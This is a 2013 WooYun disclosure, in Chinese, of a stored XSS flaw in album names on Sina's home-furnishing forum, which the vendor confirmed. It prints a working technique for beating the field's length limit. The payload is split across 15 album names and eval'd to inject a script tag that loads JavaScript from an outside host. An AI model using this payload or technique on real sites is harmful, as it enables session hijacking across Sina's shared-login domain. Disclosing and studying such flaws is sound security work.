当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020996

漏洞标题:新浪家居某功能储存型xss,绕过长度限制的XSS技巧

相关厂商:新浪

漏洞作者: px1624

提交时间:2013-03-31 00:27

修复时间:2013-05-15 00:27

公开时间:2013-05-15 00:27

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-31: 细节已通知厂商并且等待厂商处理中
2013-03-31: 厂商已经确认,细节仅向厂商公开
2013-04-10: 细节向核心白帽子及相关领域专家公开
2013-04-20: 细节向普通白帽子公开
2013-04-30: 细节向实习白帽子公开
2013-05-15: 细节向公众公开

简要描述:

新浪通行证登录,经过测试,此xss影响不到新浪微博,可以影响sina.com.cn域名下的所有产品,缺陷位置限制了长度最多20字节(实际上是18字节),通过了一些构造,可以绕过后进行调用任意外部js文件。很典型的一个长度限制绕过的xss利用的案例~~

详细说明:

测试效果地址(漏洞证明):http://u.bbs.house.sina.com.cn/space.php?mod=myalbums&uid=1821326284
1 缺陷位置为新浪家居的相册名字位置(<img>的value属性)。此处没有过滤任何特殊字符,但是有限制字符长度20字节。
图1

1.png


2 但是,在js中

alert(1);

可以这样写

var x="ale";x+="rt(";x+"=1)";eval(x);

如图,构造alert(1),成功执行弹窗。两个位置都有影响,不过图片管理那个位置,别人是看不到的。
图2 3 4 5 6

2.png


3.png


4.png


5.png


6.png


3 测试插入外部js,虽然这里限制为20字节,但是测试时候发现,最多只能插入18个字节。所以就创建15个相册(最多可以创建20个相册),进行构造。
先进行本地测试,构造代码为。

"><script>/*
*/var x="with(";/*
*/x+="document";/*
*/x+=")body.ap";/*
*/x+="pendChil";/*
*/x+="d(create";/*
*/x+="Element(";/*
*/x+="'script";/*
*/x+="')).sr";/*
*/x+="c='//px";/*
*/x+="1624.sin";/*
*/x+="aapp.com";/*
*/x+="/t.js'";/*
*/eval(x);/*
*/</script>


alert一下看下构造的代码对不对。
图7

7.png


然后用charles构造进行post发包,过程中,还遇到了很多恶心的问题,比如由于' \ "等特殊字符影响,导致不能一次将15个数据同时插入之类的问题。
不过通过来回的调试,最终还是给全都解决了。成功插入后,F12看到的如下图。
图8

8.png


4 执行外部js中的代码。
图9

9.png


由于是新浪通行证登录,所以可以影响sina.com.cn域名下的所有产品。
由于新浪微博跨域了,而且还有referer验证,所以影响不到新浪微博。

漏洞证明:

漏洞证明:
漏洞证明地址:http://u.bbs.house.sina.com.cn/space.php?mod=myalbums&uid=1821326284
1 弹窗。

3.png


2 插入并成功执任意外部js文件。

9.png

修复方案:

修复方案,过滤特殊字符。
ps:新浪的礼物质量好好~好喜欢。哈哈~~

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2013-03-31 15:34

厂商回复:

感谢对新浪安全的支持。

最新状态:

暂无